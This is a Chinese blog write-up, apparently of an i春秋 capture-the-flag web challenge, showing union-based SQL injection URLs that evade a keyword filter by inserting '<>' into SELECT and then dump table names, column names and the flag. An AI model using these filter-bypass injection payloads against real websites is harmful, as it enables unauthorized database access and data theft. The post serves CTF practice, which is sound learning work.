i春秋 WEB SQL

52 篇文章 6 订阅
21 篇文章 2 订阅

i春秋 WEB SQL

一天一道CTF题目,能多不能少

打开网页,发现有个id参数,而且有提示:
在这里插入图片描述
查看网页源代码,发现有sql语句显示:
在这里插入图片描述
直接抓包,发现and,or,order好像被过滤了,
使用/**/,发现还是不行:
在这里插入图片描述
经过尝试发现,可以使用<>绕过关键字过滤
经过尝试,得到有三个字段:
在这里插入图片描述
使用union查询,发现select也被过滤掉了,同理使用<>
发现2的位置会有回显:
在这里插入图片描述
这就好办了,直接查询数据库:/index.php?id=1+union+s<>elect+1,database(),3
得到数据库:sqli
在这里插入图片描述
继续爆表名:/index.php?id=1+union+s<>elect+1,(sel<>ect%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),3
得到两个表名:info,users
在这里插入图片描述
猜测在users中,,,
继续爆列名:/index.php?id=1+union+s<>elect+1,(sel<>ect%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),3
得到:id,username,flag_9c861b688330
在这里插入图片描述
感觉就在flag_9c861b688330里面:
继续:/index.php?id=1+union+s<>elect+1,(sel<>ect%20group_concat(flag_9c861b688330)%20from%20users),3
发现是空的,,,,,:
在这里插入图片描述
怀疑是不是找错表了,重来:/index.php?id=1+union+s<>elect+1,(sel<>ect%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="info"),3
果然 还有一个flag的东西:id,title,flAg_T5ZNdrm
在这里插入图片描述
既然如此就查吧:/index.php?id=1+union+s<>elect+1,(se<>lect%20group_concat(flAg_T5ZNdrm)%20from%20info),3
得到flag:flag{fc21fcbe-7afa-4b4b-9bad-e95a8fc728c4}
在这里插入图片描述
主要就是过滤关键字的问题,要知道如何进行绕过,
一般把各种方法都尝试一下,你就会收获道不一样的惊喜,
这里就不说那些绕过的方法了,网上一大把
想知道的可以自己去百度一下

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值